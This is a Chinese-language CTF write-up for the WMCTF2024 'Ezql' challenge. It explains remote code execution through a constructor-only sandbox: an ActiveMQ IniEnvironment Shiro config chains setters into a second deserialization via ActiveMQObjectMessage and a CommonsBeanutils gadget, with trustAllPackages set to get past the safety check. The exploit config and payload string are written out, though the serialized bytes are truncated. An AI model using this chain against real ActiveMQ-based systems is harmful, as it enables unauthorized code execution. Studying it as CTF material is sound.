WMCTF2024 WP
Ezql
太难了,研究了两天还是没打出来,题目给的依赖没有Spring不能用构造打rce,想打toString,但是,又限制死了只能用构造器,因此给了jackson也打不了。
复现一下
可以执行任意ql表达式,但是方法白名单限制死了,相当于用不了任何方法
这里相当于隐式的一个任意对象toString,但是对象只能构造器构造出来,打不了jackson链子
可以构造任意对象,但是没有Spring依赖不能用ClassPathXmlApplicationContext,怎么打呢,可以看看这篇
CVE-2023-46604 ActiveMQ RCE不出网利用
题目给了activemq依赖,而org.apache.activemq.shiro.env.IniEnvironment正好可以通过单构造器来打RCE。
new出IniEnvironment时,参数传入shiro config,然后这会调用对象的所有getter和setter
例如:
[main]
user=com.just.User
info=com.just.Info
user.info=$info
user.info.username=anchor
user.info.password=123456
这里就会调用com.just.User.getInfo().setUsername('anchor')
也就是可以调用任意类的getter,setter方法,这里使用org.apache.activemq.command.ActiveMQObjectMessage#getObject()来打二次反序列化,在ActiveMQObjectMessage#getObject()中:
会对getContent返回的字节进行反序列化,而getContent获取的是其祖先类Message的属性content:
他是ActiveMQ工具类的ByteSequence类型的:
因此我们可以将ActiveMQObjectMessage对象的content设为我们要反序列化的字节码ByteSequence对象,然后执行getObject打反序列化。如何传入我们的序列化数据字节数组呢?
在activemq的文档中有:
Activemq传入shiro config时set属性遇到字节类型的属性的话,我们只需要给它序列化字节数据的base64,它会自动b64解码为字节数组,很人性化。
至于gadget的选择,题目有个CommonBeanutils库,本地测一下CB链,通了。
观察ByteSequence类,需要设定三个属性:数据data,起始位置offset,数据长度length。
并且这些属性都有各自的setter
因此构造config为:
[Main]
bs=org.apache.activemq.util.ByteSequence
bs.data=rO0AB...eA== (CB链子payload的base64)
bs.offset=0
bs.length=1344
message=org.apache.activemq.command.ActiveMQObjectMessage
message.content=$bs
message.trustAllPackages=true
message.object.haha=haha
注意message.trustAllPackages=true来避免安全策略。payload为
new IniEnvironment(
"\nbs=org.apache.activemq.util.ByteSequence\n" +
"bs.data=rO0AB...eA== (CB链子payload的base64)\n" +
"bs.offset=0\n"+
"bs.length=1344\n"+
"message=org.apache.activemq.command.ActiveMQObjectMessage\n" +
"message.content=$bs\n" +
"message.trustAllPackages=true\n"+
"message.object.haha=haha")
base64传入靶机,成功
Comments NOTHING